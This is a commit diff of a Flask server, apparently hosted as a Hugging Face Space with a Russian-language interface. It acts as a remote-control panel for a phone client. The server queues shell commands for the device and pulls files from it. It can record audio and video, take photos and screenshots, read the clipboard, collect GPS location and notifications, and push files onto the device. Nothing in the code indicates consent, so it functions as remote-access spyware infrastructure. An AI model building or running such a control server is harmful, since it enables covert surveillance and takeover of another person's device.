Spaces:
Running
Running
Update app.py
Browse files
app.py
CHANGED
@@ -3,7 +3,7 @@ import os
|
|
3 |
import datetime
|
4 |
import uuid
|
5 |
import werkzeug.utils
|
6 |
-
import json
|
7 |
|
8 |
app = Flask(__name__)
|
9 |
app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
|
@@ -15,7 +15,7 @@ os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
|
|
15 |
pending_command = None
|
16 |
command_output = "Ожидание команд..."
|
17 |
last_client_heartbeat = None
|
18 |
-
current_client_path = "~"
|
19 |
file_to_send_to_client = None
|
20 |
device_status_info = {}
|
21 |
notifications_history = []
|
@@ -64,9 +64,6 @@ HTML_TEMPLATE = """
|
|
64 |
.notification-item:last-child { border-bottom: none; }
|
65 |
.notification-item strong { display: block; color: #555; }
|
66 |
.notification-item span { font-size: 0.9em; color: #777; }
|
67 |
-
.media-control-group { display: flex; align-items: center; flex-wrap: wrap; gap: 10px; }
|
68 |
-
.media-control-group label { margin-bottom: 0; }
|
69 |
-
.media-control-group input[type="text"] { width: 60px; margin-bottom: 0; }
|
70 |
</style>
|
71 |
<script>
|
72 |
let currentView = 'dashboard';
|
@@ -78,9 +75,9 @@ HTML_TEMPLATE = """
|
|
78 |
document.querySelector(`.sidebar a[href="#${sectionId}"]`).classList.add('active');
|
79 |
currentView = sectionId;
|
80 |
if (sectionId === 'files') refreshClientPathDisplay();
|
81 |
-
if (sectionId === 'device_status') requestDeviceStatus();
|
82 |
if (sectionId === 'notifications') requestNotifications();
|
83 |
-
refreshOutput(); // Refresh output for the current view
|
84 |
}
|
85 |
|
86 |
async function refreshOutput() {
|
@@ -88,24 +85,18 @@ HTML_TEMPLATE = """
|
|
88 |
const response = await fetch('/get_status_output');
|
89 |
const data = await response.json();
|
90 |
|
91 |
-
|
92 |
-
|
93 |
-
if (
|
94 |
-
|
95 |
-
|
96 |
|
97 |
-
outputAreasToUpdate.forEach(id => {
|
98 |
-
const el = document.getElementById(id);
|
99 |
-
if (el && data.output) el.innerText = data.output;
|
100 |
-
});
|
101 |
-
|
102 |
-
|
103 |
if (data.last_heartbeat) {
|
104 |
const statusDiv = document.getElementById('clientStatus');
|
105 |
const lastBeat = new Date(data.last_heartbeat);
|
106 |
const now = new Date();
|
107 |
const diffSeconds = (now - lastBeat) / 1000;
|
108 |
-
if (diffSeconds < 45) {
|
109 |
statusDiv.className = 'status online';
|
110 |
statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
|
111 |
} else {
|
@@ -117,33 +108,33 @@ HTML_TEMPLATE = """
|
|
117 |
document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН';
|
118 |
}
|
119 |
|
120 |
-
if (
|
121 |
-
document.getElementById('currentPathDisplay').innerText = data.current_path;
|
122 |
-
if (data.output && data.output.startsWith("Содержимое")
|
123 |
renderFileList(data.output, data.current_path);
|
124 |
-
} else if (data.output
|
125 |
document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
|
126 |
}
|
127 |
}
|
128 |
-
|
129 |
const filesResponse = await fetch('/list_uploaded_files');
|
130 |
const filesData = await filesResponse.json();
|
131 |
const serverFileListUl = document.getElementById('serverUploadedFiles');
|
132 |
-
serverFileListUl.innerHTML = '';
|
133 |
if (filesData.files && filesData.files.length > 0) {
|
134 |
filesData.files.forEach(file => {
|
135 |
const li = document.createElement('li');
|
136 |
const a = document.createElement('a');
|
137 |
a.href = '/uploads_from_client/' + encodeURIComponent(file);
|
138 |
a.textContent = file;
|
139 |
-
a.target = '_blank';
|
140 |
li.appendChild(a);
|
141 |
serverFileListUl.appendChild(li);
|
142 |
});
|
143 |
} else {
|
144 |
serverFileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
|
145 |
}
|
146 |
-
|
147 |
if (data.device_status && currentView === 'device_status') {
|
148 |
updateDeviceStatusDisplay(data.device_status);
|
149 |
}
|
@@ -151,18 +142,18 @@ HTML_TEMPLATE = """
|
|
151 |
renderNotifications(data.notifications);
|
152 |
}
|
153 |
|
154 |
-
|
155 |
} catch (error) {
|
156 |
console.error("Error refreshing data:", error);
|
157 |
-
const
|
158 |
-
|
159 |
-
|
|
|
160 |
}
|
161 |
}
|
162 |
-
|
163 |
function updateDeviceStatusDisplay(status) {
|
164 |
document.getElementById('batteryStatus').innerHTML = status.battery ? `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})` : '<strong>Заряд:</strong> Н/Д';
|
165 |
-
document.getElementById('locationStatus').innerHTML = status.location ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
|
166 |
if (status.location && status.location.latitude && status.location.longitude) {
|
167 |
document.getElementById('locationMapLink').innerHTML = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
|
168 |
} else {
|
@@ -174,20 +165,19 @@ HTML_TEMPLATE = """
|
|
174 |
function renderFileList(lsOutput, currentPath) {
|
175 |
const fileListUl = document.getElementById('fileList');
|
176 |
fileListUl.innerHTML = '';
|
177 |
-
const lines = lsOutput.split('\\n'); // Assuming
|
178 |
-
|
179 |
-
|
180 |
-
let normalizedCurrentPath = currentPath;
|
181 |
-
if (normalizedCurrentPath !== '/' && normalizedCurrentPath.endsWith('/')) {
|
182 |
-
normalizedCurrentPath = normalizedCurrentPath.slice(0, -1);
|
183 |
-
}
|
184 |
|
185 |
-
|
186 |
-
//
|
187 |
-
|
188 |
-
|
|
|
|
|
189 |
|
190 |
-
|
|
|
191 |
const parentLi = document.createElement('li');
|
192 |
parentLi.className = 'dir';
|
193 |
const parentA = document.createElement('a');
|
@@ -200,60 +190,46 @@ HTML_TEMPLATE = """
|
|
200 |
|
201 |
lines.forEach(line => {
|
202 |
if (line.trim() === '' || line.startsWith("Содержимое")) return;
|
203 |
-
const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/); //
|
204 |
-
if (!parts) { //
|
205 |
-
|
206 |
-
|
207 |
-
|
208 |
-
|
209 |
-
}
|
210 |
-
|
211 |
-
const type = parts[1];
|
212 |
const name = parts[2].trim();
|
213 |
-
|
214 |
const li = document.createElement('li');
|
215 |
const nameSpan = document.createElement('span');
|
216 |
const a = document.createElement('a');
|
217 |
a.href = '#';
|
218 |
-
|
219 |
if (type === '[D]') {
|
220 |
li.className = 'dir';
|
221 |
a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
|
222 |
a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
|
223 |
nameSpan.appendChild(a);
|
224 |
-
|
225 |
-
} else { // [F] or other
|
226 |
li.className = 'file';
|
227 |
a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
|
228 |
-
// Make file name clickable for
|
229 |
-
a.onclick = (e) => { e.preventDefault(); /* Potentially
|
230 |
nameSpan.appendChild(a);
|
231 |
|
232 |
const downloadBtn = document.createElement('button');
|
233 |
downloadBtn.className = 'download-btn';
|
234 |
downloadBtn.textContent = 'Скачать';
|
235 |
downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
|
236 |
-
|
237 |
-
li.appendChild(
|
238 |
-
li.appendChild(downloadBtn);
|
239 |
}
|
|
|
240 |
fileListUl.appendChild(li);
|
241 |
});
|
242 |
}
|
243 |
|
244 |
-
// This function is conceptual for JS side, actual path resolution is on server/client
|
245 |
-
function osPathToUserFriendly(path, checkRoot = false) {
|
246 |
-
// This is a simplified version for JS display. The real logic is in Python.
|
247 |
-
if (path.includes('com.termux/files/home')) { // A bit loose
|
248 |
-
let relPath = path.substring(path.indexOf('com.termux/files/home') + 'com.termux/files/home'.length);
|
249 |
-
if (relPath === '' || relPath === '/') return '~';
|
250 |
-
return '~' + relPath;
|
251 |
-
}
|
252 |
-
if (checkRoot && path === '/') return '/';
|
253 |
-
return path;
|
254 |
-
}
|
255 |
-
|
256 |
-
|
257 |
function renderNotifications(notifications) {
|
258 |
const notificationListDiv = document.getElementById('notificationList');
|
259 |
notificationListDiv.innerHTML = '';
|
@@ -261,12 +237,14 @@ HTML_TEMPLATE = """
|
|
261 |
notifications.forEach(n => {
|
262 |
const itemDiv = document.createElement('div');
|
263 |
itemDiv.className = 'notification-item';
|
|
|
|
|
264 |
itemDiv.innerHTML = `
|
265 |
-
<strong>${
|
266 |
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
|
267 |
<span><strong>Тег:</strong> ${n.tag || 'N/A'}, <strong>Ключ:</strong> ${n.key || 'N/A'}</span>
|
268 |
<span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span>
|
269 |
-
<p>${
|
270 |
`;
|
271 |
notificationListDiv.appendChild(itemDiv);
|
272 |
});
|
@@ -274,20 +252,16 @@ HTML_TEMPLATE = """
|
|
274 |
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
|
275 |
}
|
276 |
}
|
277 |
-
|
278 |
async function sendGenericCommand(payload) {
|
279 |
try {
|
280 |
-
//
|
281 |
-
|
282 |
-
if (currentView
|
283 |
-
|
284 |
-
else if (currentView === '
|
285 |
-
|
286 |
-
|
287 |
-
|
288 |
-
const el = document.getElementById(targetOutputAreaId);
|
289 |
-
if (el && currentView !== 'files') el.innerText = "Отправка команды...";
|
290 |
-
|
291 |
|
292 |
const response = await fetch('/send_command', {
|
293 |
method: 'POST',
|
@@ -296,31 +270,37 @@ HTML_TEMPLATE = """
|
|
296 |
});
|
297 |
if (!response.ok) {
|
298 |
console.error("Server error sending command");
|
299 |
-
if (
|
300 |
-
|
|
|
|
|
|
|
301 |
} catch (error) {
|
302 |
console.error("Network error sending command:", error);
|
303 |
-
|
304 |
-
|
|
|
305 |
}
|
306 |
}
|
307 |
|
308 |
function navigateTo(itemName) {
|
309 |
sendGenericCommand({ command_type: 'list_files', path: itemName });
|
310 |
-
if (currentView === 'files') {
|
311 |
document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
|
312 |
}
|
313 |
}
|
314 |
|
315 |
function requestDownloadFile(filename) {
|
316 |
sendGenericCommand({ command_type: 'request_download_file', filename: filename });
|
317 |
-
|
318 |
-
|
319 |
-
|
|
|
|
|
320 |
}
|
321 |
-
|
322 |
function refreshClientPathDisplay(){
|
323 |
-
if (document.getElementById('currentPathDisplay')
|
324 |
fetch('/get_status_output').then(r=>r.json()).then(data => {
|
325 |
if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path;
|
326 |
});
|
@@ -328,36 +308,44 @@ HTML_TEMPLATE = """
|
|
328 |
}
|
329 |
|
330 |
window.onload = () => {
|
331 |
-
showSection('dashboard'); //
|
332 |
setInterval(refreshOutput, 4000); // Regular refresh
|
333 |
refreshOutput(); // Initial refresh
|
334 |
};
|
335 |
-
|
336 |
function submitShellCommand(event) {
|
337 |
event.preventDefault();
|
338 |
const command = document.getElementById('command_str').value;
|
339 |
sendGenericCommand({ command_type: 'shell', command: command });
|
340 |
document.getElementById('command_str').value = '';
|
341 |
}
|
342 |
-
|
343 |
-
function submitMediaCommand(type,
|
344 |
let payload = { command_type: type };
|
345 |
-
if (
|
346 |
-
|
347 |
-
|
348 |
-
|
349 |
-
|
350 |
-
|
351 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
352 |
}
|
353 |
sendGenericCommand(payload);
|
354 |
}
|
355 |
-
|
356 |
async function handleUploadToServer(event) {
|
357 |
event.preventDefault();
|
358 |
const fileInput = document.getElementById('fileToUploadToDevice');
|
359 |
const targetPathInput = document.getElementById('targetDevicePath');
|
360 |
-
|
361 |
if (!fileInput.files[0]) {
|
362 |
alert("Пожалуйста, выберите файл для загрузки.");
|
363 |
return;
|
@@ -370,7 +358,7 @@ HTML_TEMPLATE = """
|
|
370 |
const formData = new FormData();
|
371 |
formData.append('file_to_device', fileInput.files[0]);
|
372 |
formData.append('target_path_on_device', targetPathInput.value);
|
373 |
-
|
374 |
document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
|
375 |
|
376 |
try {
|
@@ -381,11 +369,12 @@ HTML_TEMPLATE = """
|
|
381 |
const result = await response.json();
|
382 |
if (result.status === 'success') {
|
383 |
document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
|
384 |
-
//
|
385 |
-
sendGenericCommand({
|
386 |
-
command_type: 'receive_file',
|
387 |
-
server_filename: result.server_filename,
|
388 |
-
target_path_on_device: result.target_path_on_device
|
|
|
389 |
});
|
390 |
} else {
|
391 |
document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
|
@@ -394,7 +383,7 @@ HTML_TEMPLATE = """
|
|
394 |
document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файл�� на сервер: ' + error;
|
395 |
}
|
396 |
}
|
397 |
-
|
398 |
function getClipboard() {
|
399 |
sendGenericCommand({ command_type: 'clipboard_get' });
|
400 |
}
|
@@ -413,7 +402,7 @@ HTML_TEMPLATE = """
|
|
413 |
function requestDeviceStatus(item = null) {
|
414 |
let payload = { command_type: 'get_device_status' };
|
415 |
if (item) {
|
416 |
-
payload.item = item;
|
417 |
}
|
418 |
sendGenericCommand(payload);
|
419 |
}
|
@@ -475,7 +464,7 @@ HTML_TEMPLATE = """
|
|
475 |
<button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
|
476 |
</div>
|
477 |
</div>
|
478 |
-
|
479 |
<div id="notifications" class="container hidden-section">
|
480 |
<h2>Уведомления устройства</h2>
|
481 |
<button onclick="requestNotifications()">Обновить уведомления</button>
|
@@ -522,41 +511,35 @@ HTML_TEMPLATE = """
|
|
522 |
</form>
|
523 |
<div class="control-section" style="margin-top:20px;">
|
524 |
<h3>Вывод команды:</h3>
|
525 |
-
<pre id="outputAreaShellCopy"
|
526 |
</div>
|
527 |
</div>
|
528 |
|
529 |
<div id="media" class="container hidden-section">
|
530 |
<h2>Мультимедиа</h2>
|
531 |
<div class="control-section">
|
532 |
-
<
|
533 |
-
|
534 |
-
|
535 |
-
<input type="text" id="camera_id_input" value="0">
|
536 |
-
</div>
|
537 |
</div>
|
538 |
<div class="control-section">
|
539 |
-
<
|
540 |
-
|
541 |
-
|
542 |
-
<input type="text" id="audio_duration_input" value="5">
|
543 |
-
</div>
|
544 |
</div>
|
545 |
-
<div class="control-section">
|
546 |
-
<
|
547 |
-
|
548 |
-
|
549 |
-
|
550 |
-
|
551 |
-
<input type="text" id="video_duration_input" value="10">
|
552 |
-
</div>
|
553 |
</div>
|
554 |
<div class="control-section">
|
555 |
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
|
556 |
</div>
|
557 |
<div class="control-section" style="margin-top:20px;">
|
558 |
<h3>Результат операции:</h3>
|
559 |
-
<pre id="outputAreaMediaCopy"
|
560 |
</div>
|
561 |
</div>
|
562 |
|
@@ -572,7 +555,7 @@ HTML_TEMPLATE = """
|
|
572 |
</div>
|
573 |
<div class="control-section" style="margin-top:20px;">
|
574 |
<h3>Результат операции с буфером:</h3>
|
575 |
-
<pre id="outputAreaClipboardCopy"
|
576 |
</div>
|
577 |
</div>
|
578 |
|
@@ -585,10 +568,10 @@ HTML_TEMPLATE = """
|
|
585 |
</div>
|
586 |
<div class="control-section" style="margin-top:20px;">
|
587 |
<h3>Результат операции:</h3>
|
588 |
-
<pre id="outputAreaUtilsCopy"
|
589 |
</div>
|
590 |
</div>
|
591 |
-
|
592 |
<div id="uploads" class="container hidden-section">
|
593 |
<h2>Файлы, загруженные С клиента на сервер</h2>
|
594 |
<div class="control-section">
|
@@ -599,17 +582,23 @@ HTML_TEMPLATE = """
|
|
599 |
</div>
|
600 |
</div>
|
601 |
<script>
|
602 |
-
//
|
603 |
-
// This can be simplified if refreshOutput handles it directly, which it now does.
|
604 |
-
// This listener is mostly redundant now but harmless.
|
605 |
document.addEventListener('DOMContentLoaded', () => {
|
606 |
const outputArea = document.getElementById('outputArea');
|
|
|
|
|
|
|
|
|
|
|
607 |
const observer = new MutationObserver(() => {
|
608 |
-
if
|
609 |
-
if (currentView === '
|
610 |
-
if (currentView === '
|
611 |
-
if (currentView === '
|
|
|
612 |
});
|
|
|
|
|
613 |
if (outputArea) {
|
614 |
observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
|
615 |
}
|
@@ -626,12 +615,12 @@ def index():
|
|
626 |
@app.route('/send_command', methods=['POST'])
|
627 |
def handle_send_command():
|
628 |
global pending_command, command_output, current_client_path, file_to_send_to_client
|
629 |
-
|
630 |
data = request.json
|
631 |
-
command_output = "Ожидание выполнения..." # Reset output when
|
632 |
-
|
633 |
command_type = data.get('command_type')
|
634 |
-
|
635 |
if command_type == 'list_files':
|
636 |
path_requested = data.get('path', '.')
|
637 |
pending_command = {'type': 'list_files', 'path': path_requested}
|
@@ -647,9 +636,9 @@ def handle_send_command():
|
|
647 |
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
|
648 |
elif command_type == 'record_video':
|
649 |
pending_command = {
|
650 |
-
'type': 'record_video',
|
651 |
-
'
|
652 |
-
'
|
653 |
}
|
654 |
elif command_type == 'screenshot':
|
655 |
pending_command = {'type': 'screenshot'}
|
@@ -659,23 +648,27 @@ def handle_send_command():
|
|
659 |
pending_command = {'type': 'shell', 'command': command_str}
|
660 |
else:
|
661 |
command_output = "Ошибка: Команда не указана."
|
662 |
-
elif command_type == 'receive_file': # This is
|
663 |
-
server_filename = data.get('server_filename')
|
664 |
target_path_on_device = data.get('target_path_on_device')
|
665 |
-
|
|
|
|
|
666 |
file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
|
667 |
if os.path.exists(file_path_on_server):
|
668 |
pending_command = {
|
669 |
-
'type': 'receive_file',
|
670 |
'download_url': url_for('download_to_client', filename=server_filename, _external=True),
|
671 |
'target_path': target_path_on_device,
|
672 |
-
'original_filename':
|
673 |
}
|
674 |
-
#
|
675 |
else:
|
676 |
command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
|
677 |
else:
|
678 |
-
command_output = "Ошибка: Недостаточно данных для отправки файла
|
|
|
|
|
679 |
elif command_type == 'clipboard_get':
|
680 |
pending_command = {'type': 'clipboard_get'}
|
681 |
elif command_type == 'clipboard_set':
|
@@ -688,13 +681,13 @@ def handle_send_command():
|
|
688 |
else:
|
689 |
command_output = "Ошибка: URL для открытия не указан."
|
690 |
elif command_type == 'get_device_status':
|
691 |
-
item_requested = data.get('item')
|
692 |
pending_command = {'type': 'get_device_status', 'item': item_requested}
|
693 |
elif command_type == 'get_notifications':
|
694 |
pending_command = {'type': 'get_notifications'}
|
695 |
else:
|
696 |
command_output = "Неизвестный тип команды."
|
697 |
-
|
698 |
return jsonify({'status': 'command_queued'})
|
699 |
|
700 |
|
@@ -703,14 +696,14 @@ def get_command():
|
|
703 |
global pending_command
|
704 |
if pending_command:
|
705 |
cmd_to_send = pending_command
|
706 |
-
pending_command = None
|
707 |
return jsonify(cmd_to_send)
|
708 |
-
return jsonify(None)
|
709 |
|
710 |
@app.route('/submit_client_data', methods=['POST'])
|
711 |
def submit_client_data():
|
712 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
|
713 |
-
|
714 |
data = request.json
|
715 |
if not data:
|
716 |
return jsonify({'status': 'error', 'message': 'No data received'}), 400
|
@@ -719,40 +712,35 @@ def submit_client_data():
|
|
719 |
|
720 |
if 'output' in data:
|
721 |
new_output = data['output']
|
722 |
-
max_len = 20000
|
723 |
if len(new_output) > max_len:
|
724 |
command_output = new_output[:max_len] + "\n... (output truncated)"
|
725 |
else:
|
726 |
command_output = new_output
|
727 |
-
|
728 |
-
elif 'heartbeat' in data and data['heartbeat'] and (not command_output or command_output == "Ожидание выполнения..." or command_output == "Ожидание команд..."):
|
729 |
-
command_output = "Клиент онлайн."
|
730 |
-
|
731 |
-
|
732 |
if 'current_path' in data:
|
733 |
current_client_path = data['current_path']
|
734 |
|
735 |
if 'device_status_update' in data:
|
736 |
update = data['device_status_update']
|
737 |
-
for key, value in update.items():
|
738 |
device_status_info[key] = value
|
739 |
-
|
740 |
-
|
741 |
-
|
742 |
-
|
743 |
if 'notifications_update' in data:
|
744 |
-
notifications_history = data['notifications_update']
|
745 |
-
if not
|
746 |
-
command_output = "Список уведомлений
|
747 |
|
748 |
|
749 |
-
# Special case: if heartbeat comes with no other data, and output is default "waiting", update it.
|
750 |
if 'heartbeat' in data and data['heartbeat']:
|
751 |
-
|
752 |
-
|
753 |
-
|
754 |
return jsonify({'status': 'heartbeat_ok'})
|
755 |
-
|
756 |
return jsonify({'status': 'data_received'})
|
757 |
|
758 |
@app.route('/upload_from_client', methods=['POST'])
|
@@ -760,47 +748,63 @@ def upload_from_client_route():
|
|
760 |
global command_output, last_client_heartbeat
|
761 |
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
|
762 |
if 'file' not in request.files:
|
763 |
-
# This
|
764 |
-
|
765 |
-
|
|
|
|
|
|
|
766 |
file = request.files['file']
|
|
|
|
|
767 |
if file.filename == '':
|
768 |
-
|
|
|
769 |
|
770 |
if file:
|
771 |
-
filename = werkzeug.utils.secure_filename(file.filename)
|
772 |
-
|
773 |
-
|
774 |
-
|
|
|
|
|
|
|
|
|
775 |
base_name, ext = os.path.splitext(filename)
|
|
|
|
|
|
|
|
|
776 |
while os.path.exists(filepath):
|
777 |
counter += 1
|
778 |
-
|
779 |
-
filepath = os.path.join(app.config['UPLOAD_FOLDER'],
|
780 |
|
781 |
try:
|
782 |
file.save(filepath)
|
783 |
-
|
784 |
-
#
|
785 |
-
|
786 |
-
|
787 |
-
|
788 |
-
|
789 |
-
|
790 |
-
return jsonify({'status': 'success', 'filename': filename, 'message': f'Файл {filename} получен сервером.'})
|
791 |
except Exception as e:
|
792 |
-
#
|
793 |
-
|
|
|
|
|
|
|
|
|
794 |
|
795 |
@app.route('/get_status_output', methods=['GET'])
|
796 |
def get_status_output_route():
|
797 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history
|
798 |
return jsonify({
|
799 |
-
'output': command_output,
|
800 |
'last_heartbeat': last_client_heartbeat,
|
801 |
'current_path': current_client_path,
|
802 |
'device_status': device_status_info,
|
803 |
-
'notifications': notifications_history
|
804 |
})
|
805 |
|
806 |
@app.route('/uploads_from_client/<path:filename>')
|
@@ -810,57 +814,65 @@ def uploaded_file_from_client(filename):
|
|
810 |
@app.route('/list_uploaded_files')
|
811 |
def list_uploaded_files_route():
|
812 |
files = []
|
|
|
813 |
try:
|
814 |
-
|
815 |
-
|
|
|
|
|
|
|
816 |
except Exception as e:
|
817 |
-
|
818 |
-
pass
|
819 |
return jsonify({'files': files})
|
820 |
|
821 |
|
822 |
@app.route('/upload_to_server_for_client', methods=['POST'])
|
823 |
def upload_to_server_for_client_route():
|
824 |
-
#
|
825 |
global command_output
|
826 |
if 'file_to_device' not in request.files:
|
827 |
return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
|
828 |
-
|
829 |
file = request.files['file_to_device']
|
830 |
target_path_on_device = request.form.get('target_path_on_device')
|
831 |
|
832 |
if file.filename == '':
|
833 |
-
return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
|
834 |
-
|
835 |
if not target_path_on_device:
|
836 |
return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
|
837 |
|
838 |
if file:
|
839 |
original_filename = werkzeug.utils.secure_filename(file.filename)
|
840 |
-
# Use
|
841 |
-
server_side_filename = str(uuid.uuid4()) + "_" + original_filename
|
842 |
filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
|
843 |
-
|
844 |
try:
|
845 |
file.save(filepath_on_server)
|
846 |
-
# This
|
847 |
-
command_output = f"Файл {original_filename} загружен на
|
848 |
-
#
|
849 |
return jsonify({
|
850 |
-
'status': 'success',
|
851 |
-
'server_filename': server_side_filename, #
|
852 |
-
'original_filename': original_filename, #
|
853 |
-
'target_path_on_device': target_path_on_device
|
854 |
})
|
855 |
except Exception as e:
|
|
|
856 |
return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
|
857 |
-
|
|
|
858 |
|
859 |
@app.route('/download_to_client/<filename>')
|
860 |
def download_to_client(filename):
|
861 |
-
#
|
862 |
return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
|
863 |
|
864 |
|
865 |
if __name__ == '__main__':
|
|
|
|
|
866 |
app.run(host='0.0.0.0', port=7860, debug=False)
|
|
|
3 |
import datetime
|
4 |
import uuid
|
5 |
import werkzeug.utils
|
6 |
+
import json
|
7 |
|
8 |
app = Flask(__name__)
|
9 |
app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
|
|
|
15 |
pending_command = None
|
16 |
command_output = "Ожидание команд..."
|
17 |
last_client_heartbeat = None
|
18 |
+
current_client_path = "~"
|
19 |
file_to_send_to_client = None
|
20 |
device_status_info = {}
|
21 |
notifications_history = []
|
|
|
64 |
.notification-item:last-child { border-bottom: none; }
|
65 |
.notification-item strong { display: block; color: #555; }
|
66 |
.notification-item span { font-size: 0.9em; color: #777; }
|
|
|
|
|
|
|
67 |
</style>
|
68 |
<script>
|
69 |
let currentView = 'dashboard';
|
|
|
75 |
document.querySelector(`.sidebar a[href="#${sectionId}"]`).classList.add('active');
|
76 |
currentView = sectionId;
|
77 |
if (sectionId === 'files') refreshClientPathDisplay();
|
78 |
+
if (sectionId === 'device_status') requestDeviceStatus();
|
79 |
if (sectionId === 'notifications') requestNotifications();
|
80 |
+
refreshOutput(); // Refresh output specifically for the current view's needs
|
81 |
}
|
82 |
|
83 |
async function refreshOutput() {
|
|
|
85 |
const response = await fetch('/get_status_output');
|
86 |
const data = await response.json();
|
87 |
|
88 |
+
// Update general output area if it's part of the current view logic
|
89 |
+
const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
|
90 |
+
if (data.output && generalOutputViews.includes(currentView)) {
|
91 |
+
document.getElementById('outputArea').innerText = data.output;
|
92 |
+
}
|
93 |
|
|
|
|
|
|
|
|
|
|
|
|
|
94 |
if (data.last_heartbeat) {
|
95 |
const statusDiv = document.getElementById('clientStatus');
|
96 |
const lastBeat = new Date(data.last_heartbeat);
|
97 |
const now = new Date();
|
98 |
const diffSeconds = (now - lastBeat) / 1000;
|
99 |
+
if (diffSeconds < 45) {
|
100 |
statusDiv.className = 'status online';
|
101 |
statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
|
102 |
} else {
|
|
|
108 |
document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН';
|
109 |
}
|
110 |
|
111 |
+
if (currentView === 'files') {
|
112 |
+
if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path;
|
113 |
+
if (data.output && data.output.startsWith("Содержимое")) {
|
114 |
renderFileList(data.output, data.current_path);
|
115 |
+
} else if (data.output) { // If not a listing, show raw output in file list area for context
|
116 |
document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
|
117 |
}
|
118 |
}
|
119 |
+
|
120 |
const filesResponse = await fetch('/list_uploaded_files');
|
121 |
const filesData = await filesResponse.json();
|
122 |
const serverFileListUl = document.getElementById('serverUploadedFiles');
|
123 |
+
serverFileListUl.innerHTML = '';
|
124 |
if (filesData.files && filesData.files.length > 0) {
|
125 |
filesData.files.forEach(file => {
|
126 |
const li = document.createElement('li');
|
127 |
const a = document.createElement('a');
|
128 |
a.href = '/uploads_from_client/' + encodeURIComponent(file);
|
129 |
a.textContent = file;
|
130 |
+
a.target = '_blank';
|
131 |
li.appendChild(a);
|
132 |
serverFileListUl.appendChild(li);
|
133 |
});
|
134 |
} else {
|
135 |
serverFileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
|
136 |
}
|
137 |
+
|
138 |
if (data.device_status && currentView === 'device_status') {
|
139 |
updateDeviceStatusDisplay(data.device_status);
|
140 |
}
|
|
|
142 |
renderNotifications(data.notifications);
|
143 |
}
|
144 |
|
|
|
145 |
} catch (error) {
|
146 |
console.error("Error refreshing data:", error);
|
147 |
+
const generalOutputViews = ['dashboard', 'shell', 'media', 'clipboard', 'utils'];
|
148 |
+
if (generalOutputViews.includes(currentView)) {
|
149 |
+
document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
|
150 |
+
}
|
151 |
}
|
152 |
}
|
153 |
+
|
154 |
function updateDeviceStatusDisplay(status) {
|
155 |
document.getElementById('batteryStatus').innerHTML = status.battery ? `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})` : '<strong>Заряд:</strong> Н/Д';
|
156 |
+
document.getElementById('locationStatus').innerHTML = (status.location && status.location.latitude !== undefined) ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
|
157 |
if (status.location && status.location.latitude && status.location.longitude) {
|
158 |
document.getElementById('locationMapLink').innerHTML = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
|
159 |
} else {
|
|
|
165 |
function renderFileList(lsOutput, currentPath) {
|
166 |
const fileListUl = document.getElementById('fileList');
|
167 |
fileListUl.innerHTML = '';
|
168 |
+
